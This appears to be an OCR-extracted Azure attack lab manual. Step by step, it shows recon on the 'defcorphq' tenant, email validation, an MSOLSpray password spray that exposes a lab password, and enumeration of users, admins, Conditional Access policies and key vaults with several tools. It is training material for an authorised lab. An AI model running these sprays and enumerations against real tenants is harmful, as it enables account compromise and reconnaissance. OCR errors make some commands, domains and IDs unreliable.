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Lab Instructions

e You can use a web browser or OpenVPN client to access the lab. See the 'Connecting to lab'
document for more details.

e The lab manual uses a terminology for user specific resources. For example, if you see studentx and
your user ID is student34, read studentx as student34, onpremuserx as onpremuser34 and so on.

e Please note that some of the passwords in your lab instance may be different from what you see in
the lab manual. All such passwords are marked in red in the manual.

e All the tools used in the lab are available in C:\AzAD directory of your student VM.

e The C:\AzAD directory is exempted from Windows Defender and you already have administrative
access on the VM.

e Please do not attack out of scope machines or your fellow students' machine.
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Learning Objective 1:

Task
e Gather the following information about the defcorphq organization:
— Is the organization using Entra ID?
— ID of Tenant
— Validate email IDs
— Azure Services used by the organization

Solution
We can use the AADInternals tool to gather information about the defcorhq organization. In the first
command the username can be even a non-existent one in the defcorphq tenant:

C:\Users\studentx> ed C:\AzAD\Tools\

C:\AzAD\Tools> Import-Module C:\AzAD\Tools\AADInternals\AADInternals.psdl

/N I /
A A Ay A VRV RV R VA A A
A VA VAV R Ay A A A A R A Y A A A AV A SR
N, /1IN NI IN

v0.4.5 by @NestoriSyynimaa

PS C:\AzAD\Tools> Get-AADIntLoginInformation -UserName
admin@defcorphqg.onmicrosoft.com

Has Password : True

Federation Protocol

Pref Credential g i

Consumer Domain

Cloud Instance audience urn : urn:federation:MicrosoftOnline
Authentication Url

Throttle Status : 0
Account Type : Managed
Federation Active Authentication Url

Exists : 0

Federation Metadata Url
Desktop Sso Enabled
Tenant Banner Logo
Tenant Locale

Cloud Instance : microsoftonline.com

State : 4

Domain Type 3 3

Domain Name : defcorphqg.onmicrosoft.com
Tenant Banner Illustration

Federation Brand Name : Defense Corporation
Federation Global Version 3

User State H
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To get the Tenant ID, use the below command:

PS C:\AzAD\Tools> Get-AADIntTenantID -Domain defcorphq.onmicrosoft.com
2d50cb29-5f7b-48a4-87ce-fe75a941adbb

Now, to validate email IDs, we first need a list of emails. In a real scenario, we can use email
harvesters for that. For the lab, we will use a simple list of common email IDs (admin, test, root,
dev, contact etc.) and validate it.

We will use 0365creeper for that:

PS C:\AzAD\Tools> C:\Python27\python.exe
C:\AzAD\Tools\o365creeper\o365creeper.py -f C:\AzAD\Tools\emails.txt -o
C:\AzAD\Tools\validemails. txt

admin@defcorphqg.onmicrosoft.com - VALID

root@defcorphg.onmicrosoft.com - INVALID

test@defcorphq.onmicrosoft.com - VALID
contact@defcorphg.onmicrosoft.com - INVALID

To enumerate services used by defcorphq, we can use subdomain guessing using MicroBurst.

The below command will take a few miuntes to complete:

PS C:\AzAD\Tools> . C:\AzAD\Tools\MicroBurst\Misc\Invoke-
EnumerateAzureSubDomains.psl

PS C:\AzAD\Tools> Invoke-EnumerateAzureSubDomains -Base defcorphqg -Verbose
VERBOSE: Found defcorphg.onmicrosoft.com

VERBOSE: Found defcorphg.mail.protection.outlook.com

VERBOSE: Found defcorphg.sharepoint.com

VERBOSE: Found defcorphg-my.sharepoint.com

Subdomain Service

defcorphg.mail.protection.outlook.com Email

defcorphg.onmicrosoft.com Microsoft Hosted Domain
defcorphg-my.sharepoint.com SharePoint
defcorphg.sharepoint.com SharePoint
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Learning Objective 2:

Task
e Brute-force one of the users that we enumerated from the defcorphq tenant.
e Enumerate the following for the defcorphq tenant using Azure Portal:
— Users
— Groups
— Devices
— Directory Roles
— Enterprise Applications

Part of - All kill chains
Topics covered - Initial Access and Authenticated Enumeration

Solution

We will use the MSOLSpray tool for brute-forcing the valid emails for defcorphg. We need to try a single
password for all the users to avoid any lockouts or generating too much noise. In a real assessment, we
will, obviously, need to run it multiple times but for the lab we look only at the successful attempt - 1 out
of 14,000,065 :P — so that we can we have a look at some enumeration:

PS C:\AzAD\Tools> . C:\AzAD\Tools\MSOLSpray\MSOLSpray.psl

PS C:\AzAD\Tools> Invoke-MSOLSpray -UserList C:\AzAD\Tools\validemails.txt -
Password V3ryH4rdt0Cr4ckNOOneC@nGu355ForT3stUs3r -Verbose

[*] There are 2 total users to spray.

[*] Now spraying Microsoft Online.

[*] Current date and time: 04/03/2021 22:43:43

VERBOSE: POST https://login.microsoft.com/common/ocauth2/token with -1-byte
payload

VERBOSE: POST https://login.microsoft.com/common/oauth2/token with -1l-byte
payload

VERBOSE: received 3626-byte response of content type application/json;
charset=utf-8

[*] SUCCESS! test@defcorphg.onmicrosoft.com :
V3ryH4rdt0Cr4ckNOOneCRnGu355ForT3stUs3r

Using the credentials of test@defcorphq.onmicrosoft.com, logon to the Azure portal
(https://portal.azure.com/) and enumerate Users, Groups, Devices, Directory Roles and Enterprise
Applications.
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https://portal.azure.com/

In the left menu, click on Azure Active Directory

B»Q

test@defcorphqonmicr... &
oerense comoramion &9

Azure services

* ravoRiTes

Azure Active Directory *

A\ 4

Azure mobile app

Choose the relevant blades for enumerating Users, Groups, Devices, Directory Roles and Enterprise
Applications.

Home >

i Defense Corporation | Overview

Azure Active Directory

@ Switch tenant Create atenant (% What's new [#2] preview features & Got feedback?

@ overview

¥ Getting started
— o Azure Active Directory can help you enable remote work for your employees and partners. Learn more
B3 Preview features

# Diagnose and solve problems

Defense Corporation

Manage
A Search your tenant
ah Users
& Groups b Tenant information @ Azure AD Connect
Your rale Status
User More info Not enabled
& Administrative units License
Azure AD Premium P2 Last sync
28 Enterprise applications Sync has never run
Tenant ID
il Devices 2050ch29-5f7b-48a4-87ce-feT5a...
W App registrations Primary domain

@ Identity Govemance defcarphg.onmicrosoft.com

E!  Application proxy
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Learning Objective 3:

Task
e Enumerate the following for the defcorphg tenant using Mg module:
— Users
— Groups
— Devices

— Directory Roles Global Administrator
— All custom directory roles
— Enterprise Applications

Part of - All kill chains
Topics covered - Authenticated Enumeration

Solution
First, connect to the tenant using the Az PowerShell modue with credentials of
test@defcorphg.onmicrosoft.com:

PS C:\AzAD\Tools> $passwd = ConvertTo-SecureString
"V3ryH4rdt0Cr4ckNOOneC@nGu355ForT3stUs3r" -AsPlainText -Force

PS C:\AzAD\Tools> $creds = New-Object
System.Management.Automation.PSCredential ("test@defcorphq.onmicrosoft.com",
$passwd)

PS C:\AzAD\Tools> Connect-AzAccount -Credential $creds

Account SubscriptionName TenantId
Environment
test@defcorphg.onmicrosoft.com DefCorp 2d50cb29-5f7b-48a4-87ce-

fe75a94ladb6 AzureCloud

PS C:\AzAD\Tools> $Token = (Get-AzAccessToken -ResourceTypeName
MSGraph) . Token

PS C:\AzAD\Tools> Connect-MgGraph -AccessToken ($Token | ConvertTo-
SecureString -AsPlainText -Force)

Welcome to Microsoft Graph!

Connected via userprovidedaccesstoken access using 1950a258-227b-4e31-a9cf-
717495945fc2

Readme: https://aka.ms/graph/sdk/powershell

SDK Docs: https://aka.ms/graph/sdk/powershell/docs

API Docs: https://aka.ms/graph/docs

NOTE: You can use the -NoWelcome parameter to suppress this message.

To enumerate all users, use the below command:
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PS C:\AzAD\Tools> Get-MgUser -All

Mail

DisplayName Id

UserPrincipalName

Aaron L Sokol
admin

Agatha P Garland
Alan B Mahle
Alfred E Pace
Amanda R Crist
Amy R Parks
Angela O Grams
Angelo R Cooper
Anna C Odom
Anthony M Thomas
Barbara T Warlick
Bert D Babb

[snip]

4d86d60£f-c1d9-4157-936a-977e915d65al
4d67b155-3494-46d0-adcf-de359d8a9d68
343d2916-7dbd-4479-b165-5£336648273e
dcdc5486-69ad-4388-b015-8a4e9dd£10b5
d80e231b-7505-49b3-a8dd-0£51fa7c773£
6d95c5b7-0b50-450£-bcee-14678758b569
al222927-d125-4596-ae69-317cf£fcc0302
£8c90991-087c-4dff-b7ae-91d435835e68
d9ce2clb-d675-43£fd-9240-7d1b4e3aecd4
7£84b7d6-3c7b-42bb-aa80-265cb£f351851
9052dea9-2596-4045-a744-8ee4809c8b8f
50blfe35-6a99-4999-ae31-£db£3702£fbl5
blce0011-9a95-4349-a86c-42de9%e02£972

admin@defcorphq.onmicrosoft.com

AaronLSokol@defcorphq.onmicrosoft.com
admin@defcorphq.onmicrosoft.com
AgathaPGarland@defcorphqg.onmicrosoft.com
AlanBMahle@Rdefcorphq.onmicrosoft.com
AlfredEPace@defcorphq.onmicrosoft.com
AmandaRCrist@defcorphq.onmicrosoft.com
AmyRParks@defcorphq.onmicrosoft.com
AngelaOGrams@defcorphqg.onmicrosoft.com
AngeloRCooper@defcorphq.onmicrosoft.com
AnnaCOdom@defcorphq.onmicrosoft.com

AnthonyMThomas@defcorphqg.onmicrosoft.com

1i .onmi t.com

BertD]

To list only the UPNs of the users, use the below command:

PS C:\AzAD\Tools> Get-MgUser -All |

UserPrincipalName

AaronLSokol@defcorphg.onmicrosoft.com

admin@defcorphg.onmicrosoft.com

AgathaPGarland@defcorphg.onmicrosoft.com

AlanBMahle@defcorphg.onmicrosoft.com

AlfredEPace@defcorphg.onmicrosoft.com

AmandaRCrist@defcorphg.onmicrosoft.com

AmyRParks@defcorphg.onmicrosoft.com

[snip]

To list all the groups, use the below command:

PS C:\AzAD\Tools> Get-MgGroup -All

‘phq. onmi.

t.com

select UserPrincipalName

DisplayName 1d MailNickname
Description

Security Operations 154a9326-£££1-463d-8e2b-dd217b6£6064 False

Marketing 1cf224fb-albd-4c3e-bdle-241369b64£23 False

Finance 23b7e246-b838-4e10-bl7e-bc0e9500c545 False

Human Resources 3c562b82-350b-49e6-9234-2ccefb0d1416 False

Defense Corporation

477db607-3447-4fde-b7de-cdbefd4d7321ed

Group for Answers in Viva Engage - DO NOT DELETE 42708049920 56d62e76-1202-4606-90fd-a%ead7505f3f

Group that stores content and metadata for Answers in Viva Engage in network 42708049920.

DefenseCorporation
groupforanswersinvivaengagedonotdelete42708049920189

Deleting this this group w...

Operations 57ada729-a581-4d6f-9f16-3fe0961ada82 ecl7£f077-3 Oon-
Prem Application Users

GRC 65cf7e63-9827-4fae-8d30-39113a3bfe5c False

SAP Users 6alfb41b-369c-4eec-b7ad-£fb982ac8e389 False

DevOps 6bda6df9-2£09-4993-9be3-d3193a64fa7f False

Sales 76678£95-1c76-43ba-8aa5-25b7e59071b4 False

Network Security

Members of this groups can execute commands on the VM
9240b75e-823c-4c02-8868-a00ddbeb3fal All Company
caa28347-b879-4a70-b163-17ebae6cfl9b Hardware Mgmt
ce9c09ab-£d02-44c3-859f-062d002e69cb Network Operations
€6870783-1378-4078-b242-84c08c6dc0d7 Automation Admins

[SNIP]

AlteredSecurity.com

76987bb0-b7bc-48ab-bc20-549b70clfble

Members can create and run runbooks

Azure Attacks for Red and Blue Teams

False 783a312d-0de2-4490-92e4-53%9b0e4ee03e VM Admins

This is the default group for everyone in the network
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For the next task, list all the devices:
PS C:\AzAD\Tools> Get-MgDevice

DisplayName
Description

Security Operations
Marketing

Finance

Human Resources
Defense Corporation

Id

154a9326-fff1-463d-8e2b-dd217b6£6064
lcf224fb-alb4-4c3e-b41le-241369b64£23
23b7e246-b838-4e10-bl7e-bc0e9500c545
3c562b82-350b-49e6-9234-2ccefb0d1416
477db607-3447-4fde-b7de-cdbef47321ed

Group for Answers in Viva Engage - DO NOT DELETE 42708049920 56d62e76-1202-4606-90fd-a9%ead7505£3f
groupforanswersinvivaengagedonotdelete42708049920189 Group that stores content and metadata for Answers in Viva Engage in network

42708049920. Deleting this this group w...
Operations

On-Prem Application Users

GRC

SAP Users

DevOps

Sales

Network Security

[snip]

57ada729-a581-4d6f-9f16-3fe0961lada82

65cf7e63-9827-4fae-8d30-39113a3bfe5c
6alfb41b-369c-4eec-b7ad-fb982ac8e389
6bda6df9-2£09-4993-9be3-d3193a64fa7f
76678£95-1c76-43ba-8aa5-25b7e59071b4
76987bb0-b7bc-48ab-bc20-549b70clfble

To get all the Global Administrators, use the below command:

PS C:\AzAD\Tools> $RoleId = (Get-MgDirectoryRole -Filter "DisplayName eq

'Global Administrator'") .Id

MailNickname

False
False
False
False
DefenseCorporation

ecl7£077-3

False
False
False
False
False

PS C:\AzAD\Tools> (Get-MgDirectoryRoleMember -DirectoryRoleId

SRoleId) .AdditionalProperties

Key Value

@odata.type #microsoft.graph.user
businessPhones {}

displayName Monika

givenName Monika

mail monika@alteredsecurity.com
surname AltSec

userPrincipalName

monika alteredsecurity.com#EXT# monikaalteredsecurity.FGYWB#EXT#@defcorphg.onmicrosoft.com

@odata.type #microsoft.graph.user
businessPhones {}

displayName admin

mail admin@defcorphg.onmicrosoft.com

preferredlLanguage en-US

userPrincipalName admin@defcorphg.onmicrosoft.com

AlteredSecurity.com Azure Attacks for Red and Blue Teams
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Use the below command to list all custom directory roles

PS C:\AzAD\Tools> Get-MgRoleManagementDirectoryRoleDefinition |
?{$_.IsBuiltIn -eq $False} | select DisplayName

DisplayName

App_ Reader
ApplicationProxyReader

AlteredSecurity.com Azure Attacks for Red and Blue Teams
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Learning Objective 4:

Task
e Enumerate the following for the defcorphq tenant using Az PowerShell module using the
credentials of test@defcorphq.onmicrosoft.com user:
— Allresources visible to the user
— All Azure roles assigned to the user
— Virtual Machines
— App Services
— Function Apps
— Storage Accounts
— Key Vaults

Part of - All kill chains
Topics covered - Authenticated Enumeration

Solution
Let's first connect to the target tenant using Az PowerShell. The module is present in the modulepath of
your student VM so there is no need to import it:

PS C:\AzAD\Tools> $passwd = ConvertTo-SecureString
"V3ryH4rdt0Cr4ckNOOneC@nGu355ForT3stUs3r" -AsPlainText -Force

PS C:\AzAD\Tools> $creds = New-Object
System.Management.Automation.PSCredential ("test@defcorphq.onmicrosoft.com",
$passwd)

PS C:\AzAD\Tools> Connect-AzAccount -Credential $creds

Account SubscriptionName TenantId
Environment
test@defcorphg.onmicrosoft.com DefCorp 2d50cb29-5f7b-48a4-87ce-

fe75a941ladb6 AzureCloud

List all the resources accessible to the current account:

PS C:\AzAD\Tools> Get-AzResource

Name : bkpadconnect

ResourceGroupName : Engineering

ResourceType : Microsoft.Compute/virtualMachines
Location : germanywestcentral

Resourceld : /subscriptions/b413826f-108d-4049-8cll-

d52d5d388768/resourceGroups/Eng1neer1ng/prov1ders/Mlcrosoft
Compute/virtualMachines/bkpadconnect

AlteredSecurity.com Azure Attacks for Red and Blue Teams 13



Tags

Name : bkpadconnect/MicrosoftMonitoringAgent
ResourceGroupName : Engineering

ResourceType : Microsoft.Compute/virtualMachines/extensions
Location : germanywestcentral

Resourceld : /subscriptions/b413826f-108d-4049-8cll-

d52d5d388768/resourceGroups/Englneerlng/prov1ders/Mlcrosoft

Compute/virtualMachines/bkpadconnect/extensions/MicrosoftMonitoringAgent
Tags

Name : defcorpcommon

ResourceGroupName : Finance

ResourceType : Microsoft.Storage/storageAccounts
Location : germanywestcentral

Resourceld : /subscriptions/b413826f-108d-4049-8cll-

d52d5d388768/resourceGroups/Flnance/prov1ders/Mlcrosoft Stor
age/storageAccounts/defcorpcommon

Tags

Name : processfile

ResourceGroupName : IT

ResourceType : Microsoft.Web/sites

Location : germanywestcentral

ResourcelId : /subscriptions/b413826f-108d-4049-8cll1-

d52d5d388768/resourceGroups/IT/prov1ders/M1crosoft Web/sites
/processfile

Tags

Name : vaultfrontend

ResourceGroupName : Research

ResourceType : Microsoft.Web/sites

Location : germanywestcentral

Resourceld : /subscriptions/b413826f-108d-4049-8cll-

d52d5d388768/resourceGroups/Research/providers/Microsoft.Web
/sites/vaultfrontend
[snip]

Get all the role assignments for the test user:

PS C:\AzAD\Tools> Get-AzRoleAssignment -SignInName
test@defcorphg.onmicrosoft.com

RoleAssignmentId : /subscriptions/b413826f-108d-4049-8cll-
d52d5d388768/resourceGroups/Finance/providers/Microsoft.Sto
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rage/storageAccounts/defcorpcommon/providers/Microsoft.Authorization/roleAssi
gnments/349de564-ef3e-4c40-b116-d6d53424232a

Scope : /subscriptions/b413826£f-108d-4049-8cll-
d52d5d388768/resourceGroups/Finance/providers/Microsoft.Sto
rage/storageAccounts/defcorpcommon

DisplayName : testuser

SignInName : test@defcorphg.onmicrosoft.com
RoleDefinitionName : Reader

RoleDefinitionId : acdd72a7-3385-48ef-bd42-f606fba8lae’
ObjectId : 0ccd6182-b034-4e13-al155-1021e7d22d22
ObjectType : User

CanDelegate : False

Description

ConditionVersion

Condition

[snip]

Next, list all the VMs where the current user has at least the Reader role:

PS C:\AzAD\Tools> Get-AzVM | f1l

ResourceGroupName : ENGINEERING

Id : /subscriptions/b413826f-108d-4049-8cll1-

d52d5d388768/resourceGroups/ENGINEERING/providers/Mic
rosoft.Compute/virtualMachines/bkpadconnect

VmId : 60726c17-485b-406e-a49d-5007ab28df9c
Name : bkpadconnect

Type : Microsoft.Compute/virtualMachines
Location : germanywestcentral

LicenseType : Windows_ Server

Tags g {}¥

[snip]

List all App Services. We filter on the bases of 'Kind' proper otherwise both appservices and function
apps are listed:

PS C:\AzAD\Tools> Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}

[snip]

State : Running

HostNames : {vaultfrontend.azurewebsites.net}
RepositorySiteName : vaultfrontend

UsageState : Normal

Enabled : True
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EnabledHostNames : {vaultfrontend.azurewebsites.net,
vaultfrontend.scm.azurewebsites.net}

AvailabilityState : Normal

HostNameSslStates : {vaultfrontend.azurewebsites.net,
vaultfrontend.scm.azurewebsites.net}

ServerFarmId : /subscriptions/b413826f-108d-4049-8cll-

d52d5d388768/resourceGroups/Research/providers/Mic
rosoft.Web/serverfarms/ASP-Research-af2d

Reserved : True

[snip]

Name : vaultfrontend

Kind : app,linux

Location : Germany West Central
Type : Microsoft.Web/sites
[snip]

To list Function Apps, use the below command:

PS C:\AzAD\Tools> Get-AzFunctionApp

Name Status OSType Runtime Location AppServicePlan ResourceGroupName SubscriptionId
processfile Running Linux Germany West Central ASP-IT-8af4 IT b413826£f-108d-4049-
8cll-d52...

For the next task, list storage accounts:

PS C:\AzAD\Tools> Get-AzStorageAccount | fl

ResourceGroupName : Finance

StorageAccountName : defcorpcommon

Id : /subscriptions/b413826£f-108d-4049-8cll-
d52d5d388768/resourceGroups/Finance/providers/Microsoft.Storage/storageAccoun
ts/defcorpcommon

Location : germanywestcentral

[snip]

AllowBlobPublicAccess : True

MinimumTlsVersion : TLS1 2

EnableNfsV3

AllowSharedKeyAccess : True

Context

Microsoft.WindowsAzure.Commands.Common.Storage.LazyAzureStorageContext
ExtendedProperties : {1}
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Finally, list the readable keyvaults for the current user:

PS C:\AzAD\Tools> Get-AzKeyVault

Vault Name : ResearchKeyVault

Resource Group Name : Research

Location : germanywestcentral

Resource ID : /subscriptions/b413826f-108d-4049-8cll-
d52d5d388768/resourceGroups/Research/prov1ders/Mlcrosoft KeyVault/vaults/Rese
archKeyVault
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Learning Objective 5:

Task

e Enumerate the following for the defcorphq tenant using az cli using the credentials of

test@defcorphg.onmicrosoft.com user :
— Virtual Machines
— App Services
— Function Apps
— Storage Accounts
— Key Vaults

Part of - All kill chains
Topics covered - Authenticated Enumeration

Solution

We first need to login to the target tenant using az cli. Use the below command for that:

C:\AzAD\Tools>az login -u test@defcorphq.onmicrosoft.com -p

V3ryH4rdt0Cr4ckNOOneCRnGu355ForT3stUs3r
[

"cloudName": "AzureCloud",
"homeTenantId": "2d50cb29-5f7b-48a4-87ce-fe75a941ladbo",
"id": "b413826f-108d-4049-8cl1-d52d5d388768",

"isDefault": true,
"managedByTenants": [],
"name": "DefCorp",
"state": "Enabled",
"tenantId": "2d50cb29-5f7b-48a4-87ce-fe75a941adbo",
"user": {
"name": "test@defcorphg.onmicrosoft.com",
"type": "user"

Next, list all the VMs where the current user has at least the Reader role.

PS C:\AzAD\Tools> az vm list

[snip]
"id": "/subscriptions/b413826f-108d-4049-8cll-

d52d5d388768/resourceGroups/ENGINEERING/providers/Microsoft.Compute/virtualMa

chines/bkpadconnect",
"identity": null,
"instanceView": null,

AlteredSecurity.com Azure Attacks for Red and Blue Teams

18



"licenseType": "Windows Server",
"location": "germanywestcentral",
"name": "bkpadconnect",
"networkProfile": {
"networkInterfaces": |

{
"id": "/subscriptions/b413826f-108d-4049-8cll-

d52d5d388768/resourceGroups/Engineering/providers/Microsoft.Network/networkIn

terfaces/bkpadconnect368",
"primary": null,
"resourceGroup": "Engineering"

]

}y

"osProfile": {
"adminPassword": null,
"adminUsername": "bkpadconnect",
"allowExtensionOperations": true,
"computerName": "bkpadconnect",
"customData": null,
"linuxConfiguration": null,
"requireGuestProvisionSignal": true,
"secrets": []

[snip]

Here, we are only listing the 'name’ of the VMs:

PS C:\AzAD\Tools> az vm list --query "[].[name]" -o table
Columnl

bkpadconnect

List all App Services:

PS C:\AzAD\Tools> az webapp list

[snip]
"hostNames": [
"vaultfrontend.azurewebsites.net"
1,
"hostNamesDisabled": false,
"hostingEnvironmentProfile": null,

"httpsOnly": false,
"hyperv": false,
"id": "/subscriptions/b413826f-108d-4049-8cll-

d52d5d388768/resourceGroups/Research/providers/Microsoft.Web/sites/vaultfront

end",
"identity": ({
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"principalId": "30e67727-a8b8-48d9-8303-£2469d£f97cb2",
"tenantId": "2d50cb29-5f7b-48a4-87ce-fe75a9%94ladbé6",
"type": "SystemAssigned",
"userAssignedIdentities": null
b
[snip]
List only the names of app services:

PS C:\AzAD\Tools> az webapp list --query "[].[name]" -o table
Columnl

vaultfrontend

To list Function Apps, use the below command:

PS C:\AzAD\Tools> az functionapp list --query "[].[name]" -o table
Columnl

processfile

For the next task, list storage accounts:

PS C:\AzAD\Tools> az storage account list

[snip]
"services": {
"blob": {
"enabled": true,
"keyType": "Account",
"lastEnabledTime": "2021-03-15T11:31:30.761205+00:00"
}y
"file": {
"enabled": true,
"keyType": "Account",
"lastEnabledTime": "2021-03-15T11:31:30.761205+00:00"
}I
"queue": null,
"table": null
}
"name": "defcorpcommon",
"networkRuleSet": {
"bypass": "AzureServices",
"defaultAction": "Deny",
"ipRules": [
{

"ipAddressOrRange": "51.210.1.239"
b,

"ipAddressOrRange": "51.222.105.115"
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b,

"ipAddressOrRange": "101.0.65.134"
}
1,
[snip]

Finally, list the readable keyvaults for the current user:

PS C:\AzAD\Tools> az keyvault list
[

"id": "/subscriptions/b413826f-108d-4049-8cll-
d52d5d388768/resourceGroups/Research/providers/Microsoft.KeyVault/vaults/Rese
archKeyVault",

"location": "germanywestcentral",

"name": "ResearchKeyVault",

"resourceGroup": "Research",

"tags": {},

"type": "Microsoft.KeyVault/vaults"
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Learning Objective 6:

Task
e During additional lab time:
e Enumerate the following for the defcorphq tenant using ROADTools with the credentials of
test@defcorphg.onmicrosoft.com user :
— Application roles assigned to the 'Operations' Group on Finance Management System
app
— Permissions that AdminAppSimulation has for the Mark D, Walden user

Part of - All kill chains
Topics covered - Authenticated Enumeration

Solution

Enumerating Entra ID

We use a Python virtual environment in the lab to manage dependenices for mutluple tools. Let's run
roadrecon from a virtual environment. You may like to run PowerShell with admin privileges (Run as
administrator) if you get an access denied error:

PS C:\AzAD\Tools> ed C:\AzAD\Tools\ROADTools
PS C:\AzAD\Tools\ROADTools> .\venv\Scripts\activate
(venv) PS C:\AzAD\Tools\ROADTools>

Use the test user's credentials to authenticate:

(venv) PS C:\AzAD\Tools\ROADTools> roadrecon auth -u
test@defcorphqg.onmicrosoft.com -p V3ryH4rdt0Cr4ckNOOneC@nGu355ForT3stUs3r
Tokens were written to .roadtools auth

Gather all the information that the test user can read, Run the below command in the pipenv shell (you
can ignore the warnings):

(venv) PS C:\AzAD\Tools\ROADTools> roadrecon gather

Starting data gathering phase 1 of 2 (collecting objects)

Starting data gathering phase 2 of 2 (collecting properties and
relationships)

ROADrecon gather executed in 31.35 seconds and issued 2037 HTTP requests.

Finally, use the GUI to run the webserver and analyse results:

(venv) PS C:\AzAD\Tools\ROADTools> roadrecon gui
* Serving Flask app 'roadtools.roadrecon.server'
* Debug mode: off
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WARNING: This is a development server. Do not use it in a production
deployment. Use a production WSGI server instead.

* Running on http://127.0.0.1:
Press CTRL+C to quit

Browse to the webserver http://127.0.0.1:5000/ (you can use Chrome that is already present on the

Student VM) to check the results.

5000

To find application roles assigned to the 'Operations' Group on Finance Management System app, go to
the 'Application Roles' section, search for Operations and check the 'Description’ column:

€ C @ 127.00.1:5000/approles

ROADrecon

Applicatians

Servioe Principals

Application roles

OAuth2 Permissions

Home This page shows all application roles granted in the tenant. These roles are often used to manage access to applications or APls. If the role is granted to a userigrouy|
10 grant access to an application or to give the user an (administrative] role in an application_ If the role is assigned to a ServicePrincipal, the role is often used to ma:
Users permissions, such as for the Microsoft Graph (the Azure Portal calls this an application permission).
File
Groups
operations
Devices
Frincipal Kame Fiincipal Type Apalication Rele Deseriatio
Administrative Units
Operations Group Finance Management Sysiem User
Directory rales
tem: -

To find permissions that AdminSppSimulation has for Mark D Walden, go to the 'OAuth2 Permissions'

page and check the 'Scope (permissions)' column:

Home
Users
Groups Filter

Devices Powoal Pl oo Applcali

e Name iparmissions recigisnt)

Administrative Units.

Al s Firance Maagament
Directory rales Indlvidust Migrosoft Intune
sdmin
e PowerShell
Applications
Individual Micrasoft Intane
admin
ser PowerShell

Service Principals
Individual Katny M. Mierosoft Graph

Applicati user Schaefer  PowerShell
pplication roles

Windows Azure
Active Difectary

Viindows Azure

Active Diractary

Microsoft Gragh

Microsoft Gragh

This page shows all OAuthZpermissions granted in the tenant. In the Azure portal and the Microsoft documentation, these permissions are often called Delegated permis
they are only active when an app is actively being used by the user. These can be

to by users af By an admin for the whole organisat|

UserRead

User Read Group.Rasd All

DeviceManagementianagedDeviees. Privilegedperations All DeviceManagementianagedDevices Readirte. Al
DeviceManagemenRBAC. ReadWrite. All DevicehanagementApps Readite. All
Dev g fguration. Read\rte.All Dev icaConflg. ReadWrite All Group ReadWille Al
Direclory. Read Al openic

UserRead openid profile offine_aceess

Wicrosoft Graph

offiine access Contacts Read User Read Mail Read Mail Send Files Resdirite Al Files. Read Filas.Read All openid profile
Wil Read\Write

nlividusl Mtk O o
ShenE . | user Walden  AdmInApRSmulstion

Individual Roy G. . .
ser Con AdminAppSimulatian

Wicrosoft Graph

acoess Contacts.Read User,Read Wail Read Mail.Send Files ReadWirie Al Files.Read Files,Read, All openid profile

offiine.
Wiail, ReadWrite

Enumerating Conditional Access Policies

Note that it is possible to enumerate Conditional Access Policies as a normal user using RoadRecon. This
is due to the “internal-1.61” AAD Graph API version.

Use the below command from virtual environment after authenticating as test user:

(venv)

AlteredSecurity.com

PS C:\AzAD\Tools\ROADTools> roadrecon plugin policies
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Results written to caps.html

Open caps.html (from C: \AzAD\Tools\ROADTools) to find Conditional Access Policies in the target
environment:

C  @©File C/AzAD/Tools/ROADTools/caps.html

Policies

AccessOnlyFromStudentServers

Including: All users

FHIES Excluding: Users: Monika, admin, Michael M. Barron, Sam C. Gray
Applications Including: All applications
) Including: All locations
HIE (BRI Excluding: All trusted locations
Controls Deny logon
AllowSAM
Applies to Including: Users: Sam C. Gray
Applications Including: None
. Including: All locations
B BEEEE Excluding: Locations: AllowSAM, StudentServers
Controls Deny logon

BlockDesktopAccessforDavidH

Applies to Including: Users: David D. Henriques
Applications Including: All applications

On platforms Including: Windows, macOS
Controls Deny logon

DeviceloinedForMichaelBarron

Applies to Including: Users: Michael M. Barron

Applications Including: All applications

Device filter Including: Device rule: device.trustType -ne "AzureAD"
Controls Deny logon

Microsoft-managed: Multifactor authentication for admins accessing Microsoft Admin Portals (Report only)

Applies to Including: Users in roles: Application Administrator, Global Administrator, Authentication Administrator, User Administrator
Applications Including:
Controls Requirements (any): Mfa
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Learning Objective 7:

Task
e During additional lab time:
e Enumerate the following for the defcorphg tenant using StormSpotter with the credentials of
test@defcorphg.onmicrosoft.com user :
— List All relationships on Keyvaults
— List Service Principals that have application passwords or certificates

Part of - All kill chains

Topics covered - Authenticated Enumeration

Solution
First, we need to start the backend service for StormSpotter:

PS C:\AzAD\Tools> ed C:\AzAD\Tools\stormspotter\backend\
PS C:\AzAD\Tools\stormspotter\backend> pipenv shell
Launching subshell in virtual environment...

Windows PowerShell

Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\AzAD\Tools\stormspotter\backend> python ssbackend.pyz

[32mINFO[Om: Started server process [[36m1960[0m]

[32mINFO [Om Waiting for application startup.

[32mINFO[Om: Application startup complete.

[32mINFO[Om Uvicorn running on [lmhttp://0.0.0.0:9090[0m (Press CTRL+C
to quit)

In a new PowerShell session, start the frontend webserver:

PS C:\AzAD\Tools> ecd C:\AzAD\Tools\stormspotter\frontend\dist\spa\
PS C:\AzAD\Tools\stormspotter\frontend\dist\spa> quasar.cmd serve -p 9091 --
history

Quasar CLI.......... vl1.1.3

Listening at........ http://localhost:9091

Web server root..... C:\AzAD\Tools\stormspotter\frontend\dist\spa
GZiPe e e e et eeeeennnn enabled

Cache (max-age)..... 86400

Micro-cache......... 1s

History mode........ enabled

Index file.......... index.html
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In another process, prepare to run the Stormcollector:

PS C:\AzAD\Tools> ecd C:\AzAD\Tools\stormspotter\stormcollector\
PS C:\AzAD\Tools\stormspotter\stormcollector> pipenv shell
Launching subshell in virtual environment...

Windows PowerShell

Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\AzAD\Tools\stormspotter> az login -u test@defcorphq.onmicrosoft.com -p
V3ryH4rdt0Cr4ckNOOneC@nGu355ForT3stUs3r
[

"cloudName": "AzureCloud",
"homeTenantId": "2d50cb29-5f7b-48a4-87ce-fe75a941ladbo6",
"id": "b413826f-108d-4049-8cl11-d52d5d388768",

"isDefault": true,
"managedByTenants": [],
"name": "DefCorp",
"state": "Enabled",
"tenantId": "2d50cb29-5f7b-48a4-87ce-fe75a941adb6",
"user": {
"name": "test@defcorphg.onmicrosoft.com",
"type": "user"

Finally, run the sscollector.pyz to collect data:

PS C:\AzAD\Tools> python
C:\AzAD\Tools\stormspotter\stormcollector\sscollector.pyz cli
2021-04-06 22:29:57.098 INFO
stormcollector.auth: get resource creds from cli:73 - Authenticating to

login.microsoftonline.com with CLI credentials.

2021-04-06 22:29:57.098 | INFO | stormcollector.arm:query arm:134 -
Starting enumeration for ARM - https://management.azure.com
